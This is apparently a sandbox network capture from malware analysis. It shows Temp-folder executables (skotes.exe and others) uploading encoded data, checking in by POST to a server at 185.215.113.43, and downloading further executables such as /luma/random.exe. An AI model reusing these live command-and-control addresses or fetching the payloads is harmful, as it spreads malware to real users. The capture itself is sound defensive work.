Nov 30, 2024 22:54:37.440170050 CET	2472	OUT	Data Raw: 6e 4b 30 74 50 55 31 64 62 58 32 4e 6e 61 34 75 50 6b 35 65 62 6e 36 4f 6e 71 38 76 50 30 39 66 62 33 2b 50 6e 36 5c 2f 39 6f 41 44 41 4d 42 41 41 49 52 41 78 45 41 50 77 44 68 36 4b 63 5c 2f 33 6a 2b 48 38 68 54 61 5c 2f 77 43 69 54 32 6e 6c 2b Data Ascii: nK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6\/9oADAMBAAIRAxEAPwDh6Kc\/3j+H8hTa\/wCiT2nl+P8AwD\/lPCivXvCnwQ8e+KtE0\/xX9l0\/w74O1S4uraw8VeJr9NP02+exne1vW0uwt0vvEWuxWd3FJa3kugaHqsdpco8Ny0Uiso9S0r4MeANICvrWra74yvVUFrfTo4vC3h+K4RuR9puF1XXdc06YDtbeDb9VPBj
Nov 30, 2024 22:54:37.440241098 CET	19776	OUT	Data Raw: 4a 54 58 2b 36 66 77 5c 2f 6d 4b 43 69 47 69 6c 38 70 5c 2f 38 41 6e 6d 50 38 5c 2f 68 53 55 47 6c 50 72 38 76 31 49 35 4f 33 34 5c 2f 77 42 4b 6a 71 56 6d 78 77 4f 76 38 76 38 41 36 39 52 55 48 52 54 36 5c 2f 49 4b 72 31 59 71 4e 6c 37 6a 38 66 Data Ascii: JTX+6fw\/mKCiGil8p\/8AnmP8\/hSUGlPr8v1I5O34\/wBKjqVmxwOv8v8A69RUHRT6\/IKr1YqNl7j8f8aDQjqvU38f\/Af60j9Px\/oaDSn1+X6kVFFRydvx\/pQaEdFFFB0Ecnb8f6VHUknb8f6VHQBHJ2\/Go6lfp+P+NRUHQRydvx\/pUMvf\/e\/xq1ULdPv5\/wA\/iPzoNKfX5fqVaKsVXrSn1+X6nRT6\/L9SF\/v
Nov 30, 2024 22:54:37.442020893 CET	2472	OUT	Data Raw: 4c 6f 50 78 49 38 54 65 47 50 6a 52 38 47 66 69 72 6f 6e 77 6b 30 43 78 38 52 65 50 62 6e 34 66 58 58 78 6f 30 2b 58 52 62 43 38 2b 49 65 6a 66 43 39 7a 48 44 38 57 66 67 5a 38 4c 46 31 49 36 66 34 74 38 52 2b 48 37 58 55 4a 64 4e 6d 75 72 57 4f Data Ascii: LoPxI8TeGPjR8Gfironwk0Cx8RePbn4fXXxo0+XRbC8+IejfC9zHD8WfgZ8LF1I6f4t8R+H7XUJdNmurWO21e1urW4u1jvEtfgsk4j+j3kHGnFPF3DeO4cyvjDxCw\/DkOMszy2hmFB54shpVq2QY3PYUaCy6jjcPQ4yVKWa4ynh8diqWY4DCY3FVo4bA0aH3WfeHv0mM84M4Z4X4iyHiXMeEOAcRn8uEMuzPEZZV\/smWfVYUs
Nov 30, 2024 22:54:37.561650991 CET	7416	OUT	Data Raw: 59 67 31 47 32 30 4f 42 66 44 33 68 37 53 76 44 4e 6b 62 47 44 56 74 53 31 6a 55 59 5c 2f 4e 30 5c 2f 52 37 57 57 35 2b 30 61 6c 64 62 37 78 37 69 57 49 77 77 76 48 62 78 65 4c 61 64 71 58 77 36 75 72 4c 34 74 65 4a 39 55 5c 2f 61 49 5c 2f 5a 32 Data Ascii: Yg1G20OBfD3h7SvDNkbGDVtS1jUY\/N0\/R7WW5+0aldb7x7iWIwwvHbxeLadqXw6urL4teJ9U\/aI\/Z28N\/DL4Q33wk0rVfitqup\/tAX3hbxDq3xntvH1x4S0rQfD3hb9m\/xF8VNN1C3b4Z+LodatvHnw68FNaCzsr+z\/ALQ0fVtM1K7z\/H01z8Obf40XHie78ILH8C\/EnwU8P+J30fxfbeIrPxJaftDeEPFnj\/4Se
Nov 30, 2024 22:54:37.561762094 CET	7416	OUT	Data Raw: 66 67 4d 33 77 5c 2f 47 75 65 54 7a 6a 41 59 6e 49 63 64 54 78 39 62 44 34 4f 55 36 6d 4e 34 63 79 5c 2f 4d 63 48 67 4b 39 53 6c 54 6f 55 36 45 5a 56 38 56 6d 2b 61 5a 70 6d 62 77 39 4b 68 4c 4d 38 56 6a 73 56 51 78 6b 71 75 57 34 6e 45 59 47 72 Data Ascii: fgM3w\/GueTzjAYnIcdTx9bD4OU6mN4cy\/McHgK9SlToU6EZV8Vm+aZpmbw9KhLM8VjsVQxkquW4nEYGr\/WmaftEuKc5y7Mckx\/h7w9LIsywmd5ZUyynjcyVOhlfEONyzE5jgsNWnXniKdOnhcqw2Ay5TrVf7Ng5YzBOhmdPCY7C\/LWt\/F\/4La18VP2L9b1HVPEfgr4bf8ABOP9sv8AZ2uPgt4s8QWPxp8U2Px3\/ZhvP
Nov 30, 2024 22:54:37.604857922 CET	27192	OUT	Data Raw: 66 35 37 38 34 36 30 7a 7a 4f 6a 6f 5c 2f 74 4c 5c 2f 41 4d 39 34 66 5c 2f 72 39 5c 2f 77 43 76 53 67 30 70 39 66 6c 2b 70 46 5c 2f 79 30 68 64 7a 47 36 58 48 37 71 49 65 56 5c 2f 71 66 54 76 38 41 54 47 66 30 4a 70 4e 6e 7a 4a 5c 2f 47 6e 5c 2f Data Ascii: f578460zzOjo\/tL\/AM94f\/r9\/wCvSg0p9fl+pF\/y0hdzG6XH7qIeV\/qfTv8ATGf0JpNnzJ\/Gn\/Tx\/wCkv\/1s\/jg4p6x7dj7\/APV\/vYv+m3+f0+tEn9\/7\/wC6\/wBX7\/5NBoMk6vs+eaT\/AJ6D6D\/9XX8aZJsbfny\/+mv\/AC3\/ANI\/p\/T8afJs+d04YS+V+7\/1H+fXn9aZIrj999zy4vKi\/wCe\
Nov 30, 2024 22:54:37.723927021 CET	7416	OUT	Data Raw: 52 66 2b 41 6e 5c 2f 41 4e 32 55 66 38 4d 69 66 45 44 5c 2f 41 4a 2b 49 76 5c 2f 41 54 5c 2f 77 43 37 4b 5c 2f 57 4f 65 4b 61 30 31 50 56 39 45 31 43 30 31 48 53 74 63 30 43 5c 2f 6c 30 76 58 64 45 31 6e 53 39 51 30 62 57 64 46 31 4b 41 6c 5a 39 Data Ascii: Rf+An\/AN2Uf8MifED\/AJ+Iv\/AT\/wC7K\/WOeKa01PV9E1C01HStc0C\/l0vXdE1nS9Q0bWdF1KAlZ9P1XSdVt7PUNPvYWBEtrd20U0Z++gyKrmZVGkPLFf20PiGzvtR8PXV5pmo2dlr+n6Xqd7ompX2hX11bQ2esWen6zpuoaRfXOmz3MNpqljeafO8d3bTQptD9n19EOdPBVYcJTnSzGSjl9SHHnGEqePlKlKvGOCmuJnH
Nov 30, 2024 22:54:37.887170076 CET	1236	OUT	Data Raw: 38 6d 35 6b 5c 2f 35 61 48 37 54 35 76 6d 6a 39 37 5c 2f 6e 31 36 66 6a 57 68 70 54 36 5c 2f 4c 39 53 72 35 6a 79 53 75 36 50 49 37 5c 2f 38 39 4a 4a 66 50 39 76 38 5c 2f 77 43 63 4c 38 6e 7a 37 45 32 66 75 72 6a 5c 2f 41 4a 5a 66 38 76 48 39 50 Data Ascii: 8m5k\/5aH7T5vmj97\/n16fjWhpT6\/L9Sr5jySu6PI7\/89JJfP9v8\/wCcL8nz7E2furj\/AJZf8vH9PeppJPMkG99\/7r\/rh\/nP+cUxijfx\/PJ\/zz\/n9e\/\/AOqg0GP\/AKz7keyP91\/qvPPcjg+3H6Uz593kzPHs\/wBVLbn9x+n\/AOqpvMO5I4fncy\/8e\/8A9b\/P41C39\/ZI8P8AqvMuJc\/5\/A\/nWfs
Nov 30, 2024 22:54:38.091059923 CET	1236	OUT	Data Raw: 2f 48 50 47 58 67 39 78 76 78 6e 34 67 63 56 63 62 63 48 2b 4b 47 44 77 65 4d 6e 69 73 48 77 7a 58 79 5c 2f 41 34 71 73 33 6b 5c 2f 44 75 43 70 35 50 6d 57 4a 34 65 78 4e 58 41 31 34 34 6e 44 35 6a 6d 47 5a 59 52 59 71 76 56 64 62 44 76 44 5a 56 Data Ascii: /HPGXg9xvxn4gcVcbcH+KGDweMnisHwzXy\/A4qs3k\/DuCp5PmWJ4exNXA144nD5jmGZYRYqvVdbDvDZVmmPw1HCrE4ynmdP8A0L8MvpD+G3hp4Z8B8AeIHgjjs2y7DRrcdYLM80wlKnTz\/ivFZhjsupcUYKONoKGNyjA5PGrleFpJYuk85wSxvt1SoVcqn9U3R1a9\/at\/aqufDX7P3iL9qo+JP+Crnxl+EX7R2qWPjT4ha
Nov 30, 2024 22:54:38.339051962 CET	1236	OUT	Data Raw: 6e 6d 57 4c 70 71 56 53 63 4b 6c 66 47 59 6d 55 59 53 6e 4c 45 31 49 4a 52 68 49 5c 2f 33 6a 2b 48 38 68 54 61 6b 78 75 5a 76 62 5c 2f 38 41 56 6e 39 50 31 6f 56 65 35 5c 2f 44 5c 2f 41 42 72 39 65 50 77 49 35 33 52 34 74 49 31 50 78 39 71 58 77 Data Ascii: nmWLpqVScKlfGYmUYSnLE1IJRhI\/3j+H8hTakxuZvb\/8AVn9P1oVe5\/D\/ABr9ePwI53R4tI1Px9qXw2+Imn6\/4s+DfxI8C+Kfid4m8HaHNDa3U\/jP9j3wn4k\/aQ8M\/ZdQZhdaUPHfhPwb8Qfgdreo2Aa+t\/DPxc1q6tIpryxs0HyX8CfjfqFn8HP2f\/2tP2gvHX7Q8nxgtv8Agrf+1L+0Z4R+Hnwc+H3he+0X4r+J
Nov 30, 2024 22:54:40.297647953 CET	164	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Sat, 30 Nov 2024 21:54:40 GMT content-type: text/html; charset=utf-8 content-length: 26 Data Raw: 72 68 31 30 46 69 7a 53 6b 5a 65 34 36 62 66 35 31 37 33 33 30 30 33 36 37 39 Data Ascii: rh10FizSkZe46bf51733003679

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49889	34.17.28.197	80	7948	C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:54:40.813394070 CET	126	OUT	GET /iPbGOhXhjezIEpnuodWg1732963366?argument=rh10FizSkZe46bf51733003679 HTTP/1.1 Host: home.twentykx20sb.top Accept: /
Nov 30, 2024 22:54:42.323230982 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Sat, 30 Nov 2024 21:54:42 GMT content-type: application/octet-stream content-length: 10816560 content-disposition: attachment; filename="73xkFkekIeHdJwiwjBrVGn;" last-modified: Sat, 30 Nov 2024 10:42:46 GMT cache-control: no-cache etag: "1732963366.6960762-10816560-530258582" Data Raw: 88 ac 5d 6c 32 0e e5 fe 7c 1f 27 10 8f dd 26 1f c0 6f c5 81 0f 5f 1c b5 58 22 36 c7 74 d2 44 a3 78 de 47 b7 50 70 f8 c4 76 e9 87 d9 8c ed d1 cf 9d 56 b7 62 25 33 c5 e6 f2 5a d2 2a de 2a 31 9c b7 cb d8 cd ae dc ce 9d ff 1d f6 00 24 95 f0 8f b0 c6 41 33 58 1e d3 ce 37 bf 49 82 12 a5 52 af 03 ad 1f 57 b0 7a 9e 04 54 23 52 d1 db 70 20 27 9b 27 23 3c d6 58 e4 74 37 e5 00 35 44 8b b3 be 0a 90 03 44 a6 9f 7e 68 96 48 8f 42 4a dd 1f d1 f5 a6 f7 9d d2 92 d7 43 b7 ea d9 07 07 e5 7e 45 0c ca f3 dd 16 d2 41 be fb dc 2d a0 f4 76 99 1c 93 0c af ae 76 6f c6 75 fc 91 ad 54 8b 14 59 ea 70 48 5a ef 9c 0d 09 d0 18 9d 55 08 30 86 ff 33 fc 36 12 9a 21 e1 de af 67 75 35 0d be b1 9d 13 7b a9 24 53 79 66 9a 0d ed d8 42 f7 ce 4e 97 55 a5 6d 9e 26 7d 24 dc c7 00 6d 3e 21 fd ac be 1c e0 5f d1 3e 4a a0 a9 7f 16 12 c1 e9 b9 a9 ed 91 d3 f2 9b 90 be 6d f4 40 8c 3d f5 81 fd 3e 0d 01 d7 c0 8d f5 8a fa 9a f6 98 ea b0 09 7f ba 86 0e 01 72 1b 9a 66 a9 94 07 82 8a 3e d3 c7 9f 97 7c 0a 51 ce 83 b9 4f cf 00 ce 7b a9 c9 30 ea 96 b1 e9 be [TRUNCATED] Data Ascii: ]l2\|'&o_X"6tDxGPpvVb%3Z*1$A3X7IRWzT#Rp ''#<Xt75DD~hHBJC~EA-vvouTYpHZU036!gu5{$SyfBNUm&}$m>!_>Jm@=>rf>\|QO{0rm8G%j))n2"^",~~P37IU[BR9nesdx5^CI~ -uxN\9Xdz"n@!bb{4Zf2lVq<1lbEm4=s=B~,.0[b 1Ut#L{kp<i9\[.j/0Rn7-jN95X &%-t$");8LVg5{nX8-w,JP>}aBUZ/Q-\2EyE-q+{1E`MTK"/K#brb,t{E2gCvk%k'V_C#]G&0~jsG,EZ\|VCtHc&!hsl#Oa3Q3
Nov 30, 2024 22:54:42.323518991 CET	1236	IN	Data Raw: 13 bf 71 df 25 4d b4 33 03 5c fb a7 07 c1 67 01 4e 93 16 fa a7 85 33 85 4e 56 52 42 f1 9f 8d 98 03 fd a9 ac d0 73 fd 22 4a bd c6 01 59 a3 89 f0 fd 20 8a 53 a4 d7 1e b4 5b bd 9a 9f a2 d5 b8 03 80 f2 be 95 5f 6f 92 b7 ae 70 e2 c1 e4 f1 90 9a 29 fe Data Ascii: q%M3\gN3NVRBs"JY S[_op)3ASvc /uu^shPRYauu)11J=f=;9u{FoPIPRb'MXNUh}aH>I=m+e6hO>0<\H{?`7Kf03>T
Nov 30, 2024 22:54:42.323534012 CET	1236	IN	Data Raw: ce 1f 7e 11 0f 43 45 39 09 8d e6 ac 21 ea 11 5f 09 a6 7f e0 53 01 a7 3a 01 b8 d9 c6 84 dc 93 53 6c bd 0e 2a d3 1c ab 6b 57 c0 a4 23 3e 5f b8 f9 14 2d 92 48 88 1f 73 c1 06 25 1a f1 1f f3 f2 3a 03 f0 3f f2 44 2a 0e 4d f0 fa 9f 07 55 c5 1d 85 c0 49 Data Ascii: ~CE9!_S:SlkW#>_-Hs%:?DMUIy0-bI"WTZ4R!f8(L8^K{h1K:p)eeskk-igLN6L'8ka.(&E@7XsM3Pk?VJJ<)W
Nov 30, 2024 22:54:42.324301004 CET	1236	IN	Data Raw: 79 98 5c 8d c2 e8 89 08 b9 7e 4a ee ea 8c 09 aa ef ab 64 b3 2e ce 32 e7 76 6f eb bf 1c c5 3a e1 b0 13 da 47 85 e9 6a 99 b4 e0 2f 7e ad b5 9b af be 2b 1e 4a 23 1e a2 1f ee 7b f9 d7 a9 ad 36 b8 49 6b 64 f9 be 8d 6f 8c 3a a5 49 b9 0b 7c a2 df a3 6c Data Ascii: y\~Jd.2vo:Gj/~+J#{6Ikdo:I\|ld.G:@.T} g}^z\|zNsN40(QWh)bQqvG5dZ>u{5u?uE{7iatlYaR`KQg<1v'7oW,x@JWgG1{
Nov 30, 2024 22:54:42.324321032 CET	736	IN	Data Raw: 19 1d f7 c7 4a af fb 09 d5 2d 07 3b f2 c3 3a eb 24 06 80 e3 3a d0 bd fb 81 d9 c0 39 d7 1b e7 b5 63 e0 00 16 35 36 4b d9 3f 3c 3a 03 11 9c 73 65 f3 a0 e8 5d cc 08 ac 02 4f ad f5 a8 3e ef 49 aa 44 e9 da 81 54 c8 2e 7d 64 1a f2 b1 ff 81 c7 3c 7d 1f Data Ascii: J-;:$:9c56K?<:se]O>IDT.}d<}>#:GIQ`ib\|2Ag!~=!5>/Pldb6P%UVb6-^pc>S>FzeqAco0s>C<(oafY
Nov 30, 2024 22:54:42.325118065 CET	1236	IN	Data Raw: 42 89 da 95 78 b0 c5 e1 20 36 10 a5 0c d7 e6 47 9f 4c a0 27 56 47 3c eb 4a ca 81 ff 20 1f f3 14 b7 1f 80 0c 85 cf 24 cc 1f f4 c7 35 8b 11 06 32 2e 39 49 0b da af e4 6f b5 0b 84 d0 f7 f7 24 aa 15 12 76 0d 00 e0 92 a8 33 d8 73 83 34 40 da 91 93 a3 Data Ascii: Bx 6GL'VG<J $52.9Io$v3s4@@WD/F9 #mB+"b{EyRTL2IJNv_S{\|{p7k4UG$V0B[:\~k9YrAzw])^"7o><R'NR\
Nov 30, 2024 22:54:42.325131893 CET	1236	IN	Data Raw: 04 2d 38 38 d4 8f 39 f8 ce b9 dd 27 65 5d 8c 3c 01 c3 53 67 da b6 e4 81 97 b0 13 c3 36 70 db dd c4 37 7f 6b 7e ba fb 9b 33 87 ab ca 15 27 fb 88 7c 3e 4d 65 66 3d 95 99 55 85 ad 97 28 fd 52 48 ac 0a 16 5a 8b ff 90 bf 12 7e cd 93 e4 f4 e7 a0 3b b5 Data Ascii: -889'e]<Sg6p7k~3'\|>Mef=U(RHZ~;XTUhlm!Sd5'9mns?BH$T3cAW~&rh*&8d#^,Y3K~q4s=LdZ{
Nov 30, 2024 22:54:42.326230049 CET	1236	IN	Data Raw: f2 20 ef fe ec 45 d0 ae 93 78 a3 91 e2 5b 25 1d ae 03 f4 a1 c1 5d 95 af a2 d2 d5 4e e1 0c 22 76 36 d7 fa d5 66 be b7 2f 35 70 b2 7c 37 6a b7 65 55 86 bb 2b 5b b2 05 2e 52 eb de 55 16 f0 4a d9 2a 97 98 b7 ce 33 bd b1 f2 6c 33 7f e0 c7 81 bb ad fd Data Ascii: Ex[%]N"v6f/5p\|7jeU+[.RUJ3l3ni{fOQvcHmo[}g>.VHP2p[ETmf\? Si-%NZ9DkcZrE%)@_z4Cq+;3e8I{j$~@ VE.&}
Nov 30, 2024 22:54:42.326248884 CET	1236	IN	Data Raw: 2a fb 25 eb 2b 4a 3a e5 5c fe bd 39 ee ad ba d1 1d 10 69 4a 84 f3 39 98 cf f0 0e 0e 2d 0b d4 32 bb 9a 27 96 69 03 1c ba 08 2f eb f1 8c ff 9b 02 87 0b 7f d9 6e 2d 55 ff 30 4f 26 2e 91 fe 1f 1a 68 74 26 87 78 57 9e 12 50 93 70 10 6a 7c db 40 c0 d0 Data Ascii: *%+J:\9iJ9-2'i/n-U0O&.ht&xWPpj\|@rn,wgNat=CW-\1l;<DuF=4O{n^vcKATPZ<qV.X^-+vU#do+)mt^w<k<
Nov 30, 2024 22:54:42.327052116 CET	736	IN	Data Raw: 20 a9 23 90 3d dd c1 40 95 42 cf bb d8 f6 93 7e 45 1f b2 e2 b2 56 60 92 de 07 cc e4 dd 83 c5 f2 30 74 88 2a 33 5e d0 c5 eb eb a9 35 83 a0 59 67 12 a8 89 5e 84 17 03 3c 34 2f fa fa 5d 2c 77 72 c0 fe 08 ac e7 28 7c e4 b6 df e8 6b c6 39 81 1e e1 a5 Data Ascii: #=@B~EV`0t*3^5Yg^<4/],wr(\|k95@tr1qVKZsLF8yT=,t-pk@12"b3z=(;-&;9(D7k7wY8M.Mt\|}..IJNWAiZ8^:Y0zYG%
Nov 30, 2024 22:54:42.443784952 CET	1236	IN	Data Raw: 68 5b 69 e6 08 71 41 38 ec 47 c1 23 27 54 71 b2 13 9c 31 0b bc 3a ba 45 b0 e2 5b d6 92 4c 7b 08 95 e9 ba 4f d3 5a 8f da 2d d1 2f 0d 69 61 0c 7c 67 11 79 50 20 50 e0 c2 bf 45 95 cb 09 ca cf d1 31 0d 4d 75 01 fd 11 cb 8f bc d6 d4 16 2b 00 46 44 42 Data Ascii: h[iqA8G#'Tq1:E[L{OZ-/ia\|gyP PE1Mu+FDB'1},$F3$UD1gr>s.5Q)bYR`IrKhQ![3<Gd=h@#>k>"xNk'Wzv \|pP1P9l#.X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49895	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:54:42.741138935 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 37 38 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010788001&unit=246122658369
Nov 30, 2024 22:54:44.132844925 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:54:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49908	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:54:47.968791962 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 30 3d 31 30 31 30 37 38 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1010789001&unit=246122658369
Nov 30, 2024 22:54:49.434901953 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:54:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49912	185.215.113.16	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:54:49.614610910 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 30, 2024 22:54:51.035964012 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:54:50 GMT Content-Type: application/octet-stream Content-Length: 1890816 Last-Modified: Sat, 30 Nov 2024 21:41:46 GMT Connection: keep-alive ETag: "674b869a-1cda00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 07 58 4b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 e4 03 00 00 bc 00 00 00 00 00 00 00 20 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4b 00 00 04 00 00 16 ef 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 50 05 00 70 00 00 00 00 40 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 51 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELXKg K@PK@\Pp@Q 0F@.rsrc@V@.idata PX@ P+`Z@arzmofiy`0X\@wqqjackvK@.taggant0 K"@
Nov 30, 2024 22:54:51.035975933 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:54:51.036902905 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:54:51.036914110 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:54:51.037612915 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:54:51.038453102 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:54:51.038464069 CET	1236	IN	Data Raw: 7d c2 67 de c8 0a 39 22 76 0f 4d 2a 61 a3 9c 95 e7 23 bc 45 cd d4 56 d0 ab 52 36 f2 e9 70 9c ea 15 f3 74 ad 6b 9e 51 02 5d c4 18 28 66 58 de 69 ab 51 a9 81 e6 4d 43 af 70 ae 8d a8 be b2 9c b6 ef ae 8d 68 a3 9b 8b e5 7b 94 7f 98 9e 57 d4 3d ac 7c Data Ascii: }g9"vM*a#EVR6ptkQ](fXiQMCph{W=\|z\VfTPL/_0rI9fT!}7UfsnrjS>bf9](Uw\|G@^gH\fDeIuWU0Wj7.GsmKyoS1gw jg%lTgL[
Nov 30, 2024 22:54:51.039001942 CET	248	IN	Data Raw: 6d 91 fb 67 62 77 33 4b ff af 53 b7 4a a8 d7 54 b4 39 4f 2f cf b9 9d 88 6d 40 71 d0 69 0c dc 88 16 16 47 8f 79 e5 6d 5d 4d ea 51 91 74 32 d6 85 04 9a b0 ca 6e 7d 3f ec 2e e0 75 f5 f0 80 f8 b6 62 cc 56 37 cb 7e c3 54 c3 dc 08 03 84 d3 52 13 77 89 Data Ascii: mgbw3KSJT9O/m@qiGym]MQt2n}?.ubV7~TRw{a3-t7v6v85A^o,frtwYfg]>ETzm$UhQKoBr_=^w%wIrc zsy1Ik^ORm3
Nov 30, 2024 22:54:51.039696932 CET	1236	IN	Data Raw: 75 f1 34 1b a8 33 18 37 df be 7b ce 61 1d d7 ae 7e 4f 38 18 5c a2 1f 56 1b d2 d8 49 43 f5 0b 6f 46 7e 04 13 ac 45 2d cf a8 21 13 a9 76 b6 e3 4e 8a 0f da ab 51 d3 0d cb b7 42 45 2f e3 94 35 e7 e7 14 79 5d a6 6b 5f 47 b1 61 f0 9e 1a 57 63 94 70 8e Data Ascii: u437{a~O8\VICoF~E-!vNQBE/5y]k_GaWcpOa`&qk!lYvf`iR]osl d>1>9heqSVj[scvzV~$n&`;rt;Iu9_9x4'jX.mkyOevTj~gIH~Z%\|
Nov 30, 2024 22:54:51.039710045 CET	1236	IN	Data Raw: 87 45 c7 5b bf 61 3e 0e 4f 80 8a 87 5f b2 c7 90 0a 72 72 38 06 ed 74 ce 1f cf 57 a5 22 d5 b3 47 cb 33 0b 2e ad 5f ad 36 5d 57 f4 c9 e6 ca 04 73 7c 7e 9b 79 09 4c f0 d5 c6 ca 5b 8e 80 f0 3e a2 70 51 cf d5 ac 03 cc e5 d3 24 35 f7 32 cf 1c 48 6e 57 Data Ascii: E[a>O_rr8tW"G3._6]Ws\|~yL[>pQ$52HnWD1d4&wp4vC/~a`bb</:n[-I>B3>qoPwKDWM.I&[+`z0A5L+]l" =}+v~PG[E$r i=dyhTqM63$!
Nov 30, 2024 22:54:51.157043934 CET	1236	IN	Data Raw: 29 5a f6 3d 4f 4d f2 08 ef 91 ad b6 4a c7 67 ae b6 62 71 85 b3 d2 37 3d 25 19 5c 4e 78 6b 43 6a 1c e7 af 49 82 32 1c a3 bd 50 d8 9b ca b5 bb d7 46 80 d0 92 7f 06 f1 62 39 52 9a b9 8a d4 40 fd 71 62 93 6a d0 2e 4d 58 aa 73 04 59 72 86 d4 fc 36 5a Data Ascii: )Z=OMJgbq7=%\NxkCjI2PFb9R@qbj.MXsYr6ZMLU~$A\|QVTqPAR4Ce~6]%\|n^j$(}pf@KG'WeFOaoQ>h@4C\7gft6z6y\[GMxEFmI_Y$rWHfi1j\|\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	49928	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
